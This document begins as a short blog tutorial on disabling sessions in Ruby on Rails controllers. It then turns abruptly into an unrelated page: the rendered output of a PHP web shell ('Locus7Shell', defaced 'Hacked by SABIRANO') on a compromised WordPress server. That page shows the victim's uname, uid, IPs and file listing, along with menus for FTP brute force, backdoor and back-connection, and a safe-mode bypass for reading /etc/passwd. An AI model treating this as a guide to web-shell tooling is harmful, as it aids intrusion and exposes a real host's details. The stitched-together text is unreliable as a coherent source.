Disabeling sessions in Rails

The simplest way to disable sessions in Rails is to use session :off (see ActionController::SessionManagement::ClassMethods).

session :off

To disable session suport only for a specific controller add session :off to that controller

class MyController < ApplicationController
    session :off
end

Written like that, sessions are disabled for all actions on this controller.

Like filters, you can specify :only and :except clauses to restrict subset. The following code will disable session for first_action and third_action, but not for second_action.

class MyController < ApplicationController
  session :off, :only %w(first_action third_action)

  def first_action
  end

  def second_action
  end

  def third_action
  end
end

Same could be achived with session :off, :except => :second_action.

The session options are inheritable, so to disable sessions for the entire application add session :off to ApplicationController.

class ApplicationController < ActionController::Base
    session :off
end

session :disabled => true

The downside of above approach is that if you disable sessions in ApplicationController with session :off you can’t enable them later on.

But luckily there is a cure for that. Instead of session :off add this line session :disabled => true to ApplicationController.

class ApplicationController < ActionController::Base
    session :disabled => true
end

Now, you can re-enable session support in an inheriting controller with session :disabled => false.

class MyController < ApplicationController
    session :disabled => false
end

Further reading

Technorati Tags: ,

kolodvor.net - Locus7Shell

Software: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635. PHP/4.4.8 

uname -a: Linux psyche.site5.com 2.6.27-grsec #2 SMP Wed Nov 19 13:22:21 CST 2008 i686 

uid=32006(nbabcorg) gid=508(nbabcorg) groups=508(nbabcorg)  

Safe-mode: OFF (not secure)

/home/nbabcorg/public_html/wordpress/   drwxr-xr-x
Free 597.23 GB of 1234.08 GB (48.39%)
Your ip: 38.103.63.62 - Server ip: 74.54.105.96
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Hacked by SABIRANO

Listing folder (29 files and 3 folders):

NameAsc. Size Modify Owner/Group Perms Action
 .. LINK 04.01.2009 08:36:30 nbabcorg/nobody drwxr-x--- Info 
 . LINK 05.01.2009 11:20:37 nbabcorg/nbabcorg drwxr-xr-x Info 
 [wp-content] DIR 03.01.2009 15:21:46 nbabcorg/nbabcorg drwxr-xr-x Info 
 [wp-admin] DIR 03.01.2009 15:21:27 nbabcorg/nbabcorg drwxr-xr-x Info 
 [wp-includes] DIR 03.01.2009 15:31:20 nbabcorg/nbabcorg drwxr-xr-x Info 
 wp-login.php 19.28 KB 03.01.2009 21:31:26 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-commentsrss2.php 238 B 03.01.2009 21:21:35 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 license.txt 14.77 KB 03.01.2009 21:15:30 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-rss.php 218 B 03.01.2009 21:31:31 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 index.php 397 B 03.01.2009 21:15:28 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-app.php 39.33 KB 03.01.2009 21:21:31 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-register.php 316 B 03.01.2009 21:31:30 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-comments-post.php 3.34 KB 03.01.2009 21:21:34 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 readme.html 7.46 KB 03.01.2009 21:15:31 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 cruel.php 224.82 KB 03.01.2009 20:17:53 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-atom.php 220 B 03.01.2009 21:21:32 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-trackback.php 3.35 KB 03.01.2009 21:31:36 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-feed.php 220 B 03.01.2009 21:22:37 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-pass.php 487 B 03.01.2009 21:31:29 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-mail.php 6.77 KB 03.01.2009 21:31:28 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 xmlrpc.php 90.35 KB 03.01.2009 21:31:37 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 sa2.php 284.75 KB 05.01.2009 11:20:37 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-config-sample.php 2.36 KB 03.01.2009 21:21:36 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-config.php 2.36 KB 03.01.2009 15:39:16 nbabcorg/nbabcorg -rw-rw-rw- Info Change Download 
 wp-rdf.php 218 B 03.01.2009 21:31:30 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-cron.php 1.21 KB 03.01.2009 21:22:36 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-settings.php 17.86 KB 03.01.2009 21:31:34 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-load.php 1.96 KB 03.01.2009 21:31:24 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 .htaccess 205 B 03.01.2009 15:40:39 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-blog-header.php 274 B 03.01.2009 21:21:33 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 index.html 10.17 KB 04.01.2009 06:30:54 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-links-opml.php 1.94 KB 03.01.2009 21:31:23 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 wp-rss2.php 220 B 03.01.2009 21:31:32 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 
 sym4.php 3.83 KB 04.01.2009 08:39:38 nbabcorg/nbabcorg -rw-r--r-- Info Change Download 

    


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 SABIRANOl v. 1.0a beta Modded by #!SABIRANO^ | www.SABIRANO.com | Generation time: 0.0427 ]--